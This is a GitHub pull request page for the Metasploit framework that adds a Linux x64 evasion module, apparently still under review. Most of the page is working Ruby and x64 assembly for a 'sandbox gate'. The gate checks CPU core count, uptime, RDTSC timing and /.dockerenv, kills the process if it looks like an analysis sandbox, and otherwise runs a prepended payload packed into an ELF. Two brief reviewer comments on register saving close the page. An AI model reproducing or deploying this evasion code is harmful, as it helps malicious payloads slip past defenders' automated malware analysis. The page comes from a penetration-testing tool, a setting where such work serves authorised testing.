-
Notifications
You must be signed in to change notification settings - Fork 15k
Adding Linux sandbox detection capabilities - x64 #21642
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
litemars
wants to merge
8
commits into
rapid7:master
Choose a base branch
from
litemars:add_linux_evasion_sandbox
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
8 commits
Select commit
Hold shift + click to select a range
2cae9d3
drafting sandbox evasion
litemars 503343c
update sandbox evasion
litemars 017ea6b
fix linting
litemars a00a4f2
removing extra spaces, linter failed
litemars 4c45de7
changing logic in the sandbox detection - evasion module
litemars f5d38ba
fixing linter
litemars f500a6b
Update modules/evasion/linux/x64/sandbox_gate.rb
litemars 11f1cd1
fetching back registry values and fix issue meterpreter payload
litemars File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,168 @@ | ||
| module Msf::Payload::Linux::X64::SandboxEvasion | ||
| def sandbox_evasion(cores = 2, uptime = 600, check_docker = true, check_virt = false) | ||
|
|
||
| rdtsc_asm = "" | ||
| if check_virt | ||
| rdtsc_asm = %Q^ | ||
| ; ───────────────────────────────────────────────────────────── | ||
| ; Check: Execution Latency via RDTSC | ||
| ; ───────────────────────────────────────────────────────────── | ||
| check_rdtsc: | ||
| xor eax, eax | ||
| cpuid | ||
| rdtsc | ||
| shl rdx, 32 | ||
| or rax, rdx | ||
| mov r8, rax | ||
|
|
||
| xor eax, eax | ||
| cpuid | ||
|
|
||
| rdtsc | ||
| shl rdx, 32 | ||
| or rax, rdx | ||
|
|
||
| sub rax, r8 | ||
|
|
||
| xor ebx, ebx | ||
| mov bx, 0x3E8 | ||
| cmp rax, rbx | ||
| jge sandbox_detected ; EXIT IF CYCLES >= 1000 | ||
| ^ | ||
| end | ||
|
|
||
| docker_asm = "" | ||
| if check_docker | ||
| docker_asm = %Q^ | ||
| ; ───────────────────────────────────────────────────────────── | ||
| ; Check: Container Detection via /.dockerenv existence | ||
| ; ───────────────────────────────────────────────────────────── | ||
| check_docker: | ||
| xor eax, eax | ||
| push rax | ||
| mov rax, 0x766e6572656b636f | ||
| push rax | ||
| mov rax, 0x642e2f2f2f2f2f2f | ||
| push rax | ||
|
|
||
| xor eax, eax | ||
| mov al, 21 | ||
| mov rdi, rsp | ||
| xor rsi, rsi | ||
| syscall | ||
|
|
||
| test rax, rax | ||
| js clean_docker | ||
| jmp sandbox_detected ; EXIT IF DOCKERENV EXISTS | ||
|
|
||
| clean_docker: | ||
| pop rax | ||
| pop rax | ||
| pop rax | ||
| ^ | ||
| end | ||
|
|
||
| asm = %Q^ | ||
| _start: | ||
| ; Save callee-saved registers per x64 convention | ||
| push rbx | ||
| push rbp | ||
| push rdi | ||
| push rsi | ||
| push r12 | ||
| push r13 | ||
| push r14 | ||
| push r15 | ||
|
|
||
| xor eax, eax | ||
| mov al, 128 | ||
| sub rsp, rax | ||
|
|
||
| ; ───────────────────────────────────────────────────────────── | ||
| ; Check: CPU cores via sched_getaffinity | ||
| ; ───────────────────────────────────────────────────────────── | ||
| check_cores: | ||
| xor eax, eax | ||
| mov al, 204 | ||
| xor rdi, rdi | ||
| xor rsi, rsi | ||
| mov sil, 128 | ||
| mov rdx, rsp | ||
| syscall | ||
|
|
||
| test rax, rax | ||
| js check_uptime | ||
|
|
||
| mov rbx, [rsp] | ||
| xor rcx, rcx | ||
| count_loop: | ||
| test rbx, rbx | ||
| jz evaluate_cores | ||
| mov rax, rbx | ||
| dec rax | ||
| and rbx, rax | ||
| inc rcx | ||
| jmp count_loop | ||
|
|
||
| evaluate_cores: | ||
| cmp rcx, #{cores} | ||
| jl sandbox_detected | ||
|
|
||
| ; ───────────────────────────────────────────────────────────── | ||
| ; Check: System Uptime via sysinfo | ||
| ; ───────────────────────────────────────────────────────────── | ||
| check_uptime: | ||
| xor eax, eax | ||
| mov al, 99 | ||
| mov rdi, rsp | ||
| syscall | ||
|
|
||
| test rax, rax | ||
| js execute_optional_checks | ||
|
|
||
| mov rax, [rsp] | ||
| xor rbx, rbx | ||
| mov bx, #{uptime} | ||
| cmp rax, rbx | ||
| jle sandbox_detected | ||
|
|
||
| execute_optional_checks: | ||
| #{rdtsc_asm} | ||
| #{docker_asm} | ||
|
|
||
| jmp pass ; ALL CHECKS PASSED, JUMP TO PAYLOAD | ||
|
|
||
| ; ───────────────────────────────────────────────────────────── | ||
| ; Sandbox Detected: Kill Process | ||
| ; ───────────────────────────────────────────────────────────── | ||
| sandbox_detected: | ||
| xor eax, eax | ||
| mov al, 231 | ||
| xor edi, edi | ||
| syscall | ||
|
|
||
| ; ───────────────────────────────────────────────────────────── | ||
| ; Clean Up & Execute | ||
| ; ───────────────────────────────────────────────────────────── | ||
| pass: | ||
| xor eax, eax | ||
| mov al, 128 | ||
| add rsp, rax | ||
| xor rax, rax | ||
| xor rcx, rcx | ||
| xor rdx, rdx | ||
| xor r8, r8 | ||
|
|
||
| ; Restore callee-saved registers (reverse order) | ||
| pop r15 | ||
| pop r14 | ||
| pop r13 | ||
| pop r12 | ||
| pop rsi | ||
| pop rdi | ||
| pop rbp | ||
| pop rbx | ||
| ^ | ||
| Metasm::Shellcode.assemble(Metasm::X86_64.new, asm).encode_string | ||
| end | ||
| end | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,58 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Evasion | ||
|
|
||
| include Msf::Payload::Linux::X64::SandboxEvasion | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Linux x64 Sandbox Environment Gate', | ||
| 'Description' => %q{ | ||
| Generates a Linux x64 ELF whose entry point is a pre-execution | ||
| environment gate designed to detect and evade automated malware | ||
| analysis sandboxes, hypervisors and containerized environments. | ||
| }, | ||
| 'Author' => ['Massimo Bertocchi'], | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => 'linux', | ||
| 'Arch' => [ARCH_X64], | ||
| 'Targets' => [['Linux x64', {}]], | ||
| 'DefaultTarget' => 0, | ||
| 'DefaultOptions' => { 'PayloadLinuxMinKernel' => '3.17' } | ||
| ) | ||
| ) | ||
|
|
||
| register_options( | ||
| [ | ||
| OptString.new('FILENAME', [true, 'Output filename', 'env_gate.elf']), | ||
| OptInt.new('CORES', [true, 'Minimum CPU cores required to pass check', 2]), | ||
| OptInt.new('UPTIME', [true, 'Minimum system uptime in seconds required to pass check', 600]), | ||
| OptBool.new('CHECK_DOCKER', [true, 'Enable /.dockerenv container detection check', true]), | ||
| OptBool.new('CHECK_VIRT', [true, 'Enable RDTSC hypervisor latency detection (WARNING: Will kill payload on Cloud VMs)', false]) | ||
| ] | ||
| ) | ||
| end | ||
|
|
||
| def run | ||
| raw_payload = payload.encoded | ||
| if raw_payload.blank? | ||
| fail_with(Failure::BadConfig, 'Failed to generate payload') | ||
| end | ||
|
|
||
| gate_stub = sandbox_evasion(datastore['CORES'], datastore['UPTIME'], datastore['CHECK_DOCKER'], datastore['CHECK_VIRT']) | ||
| if gate_stub.blank? | ||
| fail_with(Failure::BadConfig, 'Gate stub assembly failed') | ||
| end | ||
|
|
||
| combined = gate_stub + raw_payload | ||
| final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, combined) | ||
|
|
||
| File.binwrite(datastore['FILENAME'], final_elf) | ||
| File.chmod(0o755, datastore['FILENAME']) | ||
| end | ||
| end |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
by x64 convention, you need to make sure you are saving this registers:
Pushing them on the start and popping them back should do the work.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Fair point, I have not added this functionally since this module is the first one called/run - but, yes, I can add it for completeness